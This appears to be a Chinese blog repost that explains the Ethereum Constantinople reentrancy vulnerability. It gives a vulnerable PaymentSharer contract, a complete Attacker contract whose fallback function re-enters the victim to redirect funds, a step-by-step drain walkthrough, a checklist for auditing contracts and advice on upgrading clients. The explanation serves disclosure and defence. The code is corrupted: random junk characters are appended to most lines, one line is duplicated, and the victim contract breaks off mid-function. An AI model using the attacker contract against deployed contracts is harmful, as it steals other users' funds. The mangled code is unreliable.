解析:以太坊网络君士坦丁堡升级的漏洞细节
博客园
发表于 2022-12-21 11:25:31
102
0
0
这段代码出了什么问题?
以下是一个简短的智能合约,在Constantinople之前不易受到重入攻击,但之后却可以。您可以在我们的Github上找到完整的源代码,包括攻击者合约:
pragma solidity ^0.5.0;
contract PaymentSharer {
mapping(uint => uint) splits;' p) ~, M, ~& h- e: f; _/ l8 i
mapping(uint => uint) deposits;; y% e# a% q) R# r! E6 l
mapping(uint => address payable) first;
mapping(uint => address payable) second;
function init(uint id, address payable _first, address payable _second) public {9 s* Q! C/ [; s2 n0 o' o
require(first[id] == address(0) && second[id] == address(0));' ^) P; D- p0 B
require(first[id] == address(0) && second[id] == address(0));
first[id] = _first;
second[id] = _second;
}) {9 B+ z/ U" q9 S4 f) F E( e) h
/ \; V/ E* n* H" _8 m: z' C
function deposit(uint id) public payable {
deposits[id] += msg.value;
}2 @- T1 a, B8 q7 F# Q2 E$ _( H7 T1 B
function updateSplit(uint id, uint split) public {" }0 _& |" n- C2 u6 w" q
require(split
新的易受攻击代码的示例# j" y: f( j0 y1 M
该代码以一种意想不到的方式受到攻击:它模拟一种安全的资金均摊服务。双方可以共同接收资金,决定如何split资金以及接收支付。攻击者可以创建这样一对地址,其中第一个地址是以下列出的攻击者合约,第二个地址是任何攻击者账户。该攻击者将充值一些钱:+ B/ @5 U: ^1 r- @+ U
pragma solidity ^0.5.0;; e7 h S# A/ D( @8 }) {6 G
4 h+ n8 P( O- _& f0 v6 H: q9 o
import "./PaymentSharer.sol";) n0 \5 n( O* S& [% Y2 ]) Y; f) n
: P& e8 p3 S- e& W
contract Attacker {
address private victim;. k! ~& t! D2 P+ E" B$ H/ m
address payable owner;
constructor() public {
owner = msg.sender;
}4 C4 m" O" t. F- _
) d3 Q) M' F3 F: c, [6 N% D
function attack(address a) external {1 `+ Y5 Y, d6 }3 u7 s/ N" C7 s+ Y
victim = a;% s: S# o1 q) Y8 ?
PaymentSharer x = PaymentSharer(a);3 u7 M- O) s; K. m
x.updateSplit(0, 100);0 N/ Q: ^) i) j+ T
x.splitFunds(0);% \4 O! G* ^* l/ `/ x/ `
}. V- ]8 L- l. w
function () payable external {1 l. v0 y( E8 G: E! V) D
address x = victim;! ^3 @9 f: H, _
assembly{
mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000) [/ H6 z" e- T, h" Y6 ?3 ?% \2 f
pop(call(10000, x, 0, 0x80, 0x44, 0, 0))
}
}+ K% h) U3 k6 w2 E& y
function drain() external {# J' |1 |$ ], x5 z; w' Q& v
owner.transfer(address(this).balance);
}
}
攻击者合约列为第一个地址
该攻击者将调用自己合约的attack函数,以便在一个交易中披露以下的事件: 1、攻击者使用updateSplit设置当前split,以确保后续升级是便宜的。这是Constantinople升级的结果。攻击者以这样的方式设置split,即第一个地址(合约地址)接收所有的资金。 2、攻击者合约调用splitFunds函数,该函数将执行检查*,并使用transfer将这对地址的全部存款发到合约。 3、从回调函数,攻击者再次更新split,这次将所有资金分配到攻击者的第二个账户。 4、splitFunds的执行继续,全部存款也转到第二个攻击者账户。 简而话之,攻击者只是从PaymentSharer合约中偷走了其他人的以太币,并且可以继续。
为什么现在可以攻击?. s% D: `- X! ^/ [+ T6 b5 y3 {
在Constantinople之前,每个storage操作都需要至少5000gas。这远远超过了使用transfer或send来调用合约时发送的2300gas费。 在Constantinople之后,正在改变“dirty”存储槽的storage操作仅需要200gas。要使存储槽变的dirty,必须在正在进行的交易期间更改它。如上所示,这通常可以通过攻击者合约调用一些改变所需变量的public函数来实现。然后,通过使易受攻击的合约调用攻击者合约,例如,使用msg.sender.transfer(…),攻击者合约可以使用2300gas费成功操纵漏洞合约的变量。 必须满足某些先决条件才能使合同变得易受攻击: 1.必须有一个函数A,函数中transfer/send之后,紧跟状态改变操作。这有时可能是不明显的,例如第二次transfer或与另一个智能合约的互动。 2. 攻击者必须能够访问一个函数B,它可以(a)改变状态, (b)其状态变化与函数A的状态发生冲突。 3.函数B需要在少于1600gas时能执行(2300gas费- 为CALL提供700gas)。0 F) B" A4 B6 e5 U2 M
我的合约是否易受攻击?
要测试您是否容易受到攻击: (a)检查transfer事件后是否有任何操作。 (b)检查这些操作是否改变了存储状态,最常见的是分配一些存储变量。 如果你调用另一个合约,例如,token的 transfer方法*,检查哪些变量被修改。做一个列表。 (c)检查合约中非管理员可以访问的任何其他方法是否使用这些变量中的一个。 (d)检查这些方法是否自行改变存储状态 。 (e)检查是否有低于2300gas的方法,请记住SSTORE操作只有200gas。 如果出现这种情况,攻击者很可能会导致您的合约陷入不良状态。 总的来说,这是另一个提醒,即为什么Checks-Effects-Interactions模式如此重要。
作为节点运营商或矿工,我需要做什么?! T0 K7 i3 @7 z7 m ~' _, m
下载最新版本的以太坊客户端:
最新的geth客户(v1.8.20)5 w2 E/ g# { c! G$ c) M7 H3 I, E
最新的Parity客户端(v2.1.11-stable)# n- @0 p3 b N: L2 b2 F- v
最新Harmony客户端(v2.3 Build 72)
最新的万神殿客户端(v0.8.3)
最新的Trinity客户端(v0.1.0-alpha.20)) H9 A3 K5 J, z4 S- D2 S
以太坊钱包/迷雾的最新版本(v0.11.1)! c- g0 r( y% S# o4 D" n
或者退回原来的版本,以避免不必要的麻烦。
成为第一个吐槽的人